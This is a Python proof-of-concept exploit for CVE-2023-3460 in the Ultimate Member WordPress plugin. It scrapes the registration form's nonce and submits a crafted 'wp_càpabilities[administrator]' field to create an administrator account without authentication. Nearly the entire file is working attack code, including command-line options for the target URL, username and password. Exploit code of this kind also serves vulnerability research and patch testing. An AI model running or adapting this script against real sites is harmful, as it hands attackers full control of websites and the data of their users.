#!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 from bs4 import BeautifulSoup import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_password_strength(password): """Checks if password meets complexity requirements.""" if len(password) < 8: print("[!] Password too short! Must be at least 8 characters.") print(" Example: Admin@123") sys.exit(1) # At least one uppercase, one lowercase, one digit, and one special char if not re.search(r'[A-Z]', password): print("[!] Password must contain at least one uppercase letter.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'[a-z]', password): print("[!] Password must contain at least one lowercase letter.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'\d', password): print("[!] Password must contain at least one number.") print(" Example: Admin@123") sys.exit(1) if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password): print("[!] Password must contain at least one special character (!@#$%^&* etc.)") print(" Example: Admin@123") sys.exit(1) def fetch_form_details(session, target_url): print("[*] Fetching form details from register page...") try: res = session.get(target_url, verify=False) soup = BeautifulSoup(res.text, "html.parser") nonce_input = soup.find("input", {"name": "_wpnonce"}) nonce = nonce_input["value"] if nonce_input else None if nonce: print(f"[+] Found _wpnonce: {nonce}") else: print("[-] Could not find _wpnonce") field_names = {} for inp in soup.find_all("input"): if inp.get("name"): field_names[inp.get("name")] = "" return nonce, field_names except Exception as e: print(f"[!] Error fetching form details: {e}") return None, {} def exploit_register(target_url, username, password): session = requests.Session() target_url = target_url.rstrip('/') nonce, fields = fetch_form_details(session, target_url) if not nonce: return form_id = None for name in fields: m = re.search(r"user_login-(\d+)", name) if m: form_id = m.group(1) break if not form_id: form_id = "7" print(f"[+] Using form ID: {form_id}") data = { f"user_login-{form_id}": username, f"first_name-{form_id}": "Admin", f"last_name-{form_id}": username, f"user_email-{form_id}": f"{username}@example.com", f"user_password-{form_id}": password, f"confirm_user_password-{form_id}": password, "form_id": form_id, "um_request": "", "_wpnonce": nonce, "_wp_http_referer": "/register/", "wp_càpabilities[administrator]": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Referer": target_url, "Origin": target_url.split("/register")[0], } cookies = { "wordpress_test_cookie": "WP Cookie check", "wp_lang": "en_US" } print(f"[*] Sending malicious registration for {username} ...") try: response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False) if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text): print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") else: print(f"[-] Could not confirm success. Check target manually.") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)") parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)") parser.add_argument("-u", "--user", default="rakesh", help="Username to create") parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user") args = parser.parse_args() # Check password strength before running check_password_strength(args.password) exploit_register(args.target, args.user, args.password)